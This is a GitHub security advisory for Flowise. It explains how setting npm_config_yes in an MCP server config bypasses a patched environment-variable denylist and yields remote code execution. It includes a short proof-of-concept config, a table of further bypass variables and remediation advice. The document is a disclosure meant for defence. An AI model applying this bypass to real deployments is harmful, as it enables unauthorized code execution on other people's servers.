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Flowise: CVE-2025-8943 Patch Bypass: npm_config_yes bypasses MCP environment variable blocklist (Unauthenticated RCE)

High severity GitHub Reviewed Published Jul 29, 2026 in FlowiseAI/Flowise • Updated Aug 4, 2026

Package

npm flowise (npm)

Affected versions

<= 3.1.2

Patched versions

3.1.3
npm flowise-components (npm)
<= 3.1.2
3.1.3

Description

Summary

The mitigation shipped for CVE-2025-8943 blocks the -y and --yes flags on npx to stop auto-installation of arbitrary packages. That flag filter works. The environment-variable check in the same patch denies only four variable names by exact string match, and npm reads its configuration directly from npm_config_* environment variables. Setting npm_config_yes=true reproduces the --yes behaviour the flag filter is meant to prevent, so npx auto-installs and executes the named package. The mitigation is fully bypassed.

This works with the MCP security check enabled (CUSTOM_MCP_SECURITY_CHECK=true). On a default Flowise deployment, which ships with no authentication, the result is unauthenticated remote code execution.

Root cause

The patch treats this as a flag-filtering problem, but the behaviour gated by --yes is also reachable through npm's environment-based configuration. The same is true for the other permitted interpreters, node and python3. A denylist of variable names cannot enumerate every environment variable that alters execution, so the control is incomplete by construction. The fix is to allowlist (or strip) the environment before it reaches the child process, not to extend the denylist.

Affected version

Flowise 3.1.1, current as of 2026-03-29.

Details

Validation happens in packages/components/nodes/tools/MCP/core.ts. Two functions run in sequence before any MCP server launches: validateCommandFlags and validateEnvironmentVariables.

validateCommandFlags is thorough. It blocks -y and --yes along with a comprehensive set of dangerous flags across npx, node, python, python3, and docker. That part of the patch is sound.

The gap is in validateEnvironmentVariables:

export const validateEnvironmentVariables = (env: Record<string, any>): void => {
    const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH', 'NODE_OPTIONS']
    for (const [key, value] of Object.entries(env)) {
        if (dangerousEnvVars.includes(key)) {
            throw new Error(`Environment variable '${key}' modification is not allowed`)
        }
        if (typeof value === 'string' && value.includes('\0')) {
            throw new Error(`Environment variable '${key}' contains null byte`)
        }
    }
}

The blocklist is a hardcoded four-item array checked by exact match. Any variable not in that list passes through unchecked. npm_config_yes is npm's documented mechanism for setting the yes config via the environment. Set to true, it causes npx to auto-install without prompting, which is exactly what the -y and --yes flag blocks are intended to prevent.

Proof of concept

The following MCP server configuration bypasses the patch with CUSTOM_MCP_SECURITY_CHECK=true:

{
  "mcpServers": {
    "bypass": {
      "command": "npx",
      "args": ["malicious-package"],
      "env": {
        "npm_config_yes": "true"
      }
    }
  }
}

Execution path:

  1. validateCommandFlags passes, because args contains no blocked flags.
  2. validateEnvironmentVariables passes, because npm_config_yes is not in the four-item blocklist.
  3. npx auto-installs and executes the named package with the privileges of the Flowise process.

On a default deployment with no authentication, any unauthenticated user who can reach the Flowise API can trigger this.

Additional bypass vectors (same root cause)

The following variables are also absent from the blocklist and influence execution through the other permitted interpreters:

Variable Command Effect
npm_config_prefix npx Redirects package installation to attacker-controlled path
npm_config_userconfig npx Loads attacker-controlled .npmrc configuration
NODE_PATH node Loads modules from attacker-controlled path
PYTHONPATH python3 Loads modules from attacker-controlled path
PYTHONSTARTUP python3 Executes a file on interpreter startup (interactive sessions only)

Impact

Full remote code execution with the privileges of the Flowise process. On default deployments with no authentication, no credentials are required.

Remediation

Strip the env object before passing it to the child process, or replace the name blocklist with an allowlist of explicitly permitted variables.

Adding the known dangerous variables to the blocklist (npm_config_yes, npm_config_prefix, npm_config_userconfig, NODE_PATH, PYTHONPATH, PYTHONSTARTUP) narrows the immediate gap but is a stopgap. Any future permitted interpreter reintroduces the same class of bypass.

References

References

@igor-magun-wd igor-magun-wd published to FlowiseAI/Flowise Jul 29, 2026
Published to the GitHub Advisory Database Aug 4, 2026
Reviewed Aug 4, 2026
Last updated Aug 4, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(19th percentile)

Weaknesses

Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. Learn more on MITRE.

CVE ID

CVE-2026-69263

GHSA ID

GHSA-xc48-889x-5qmw

Source code

Credits

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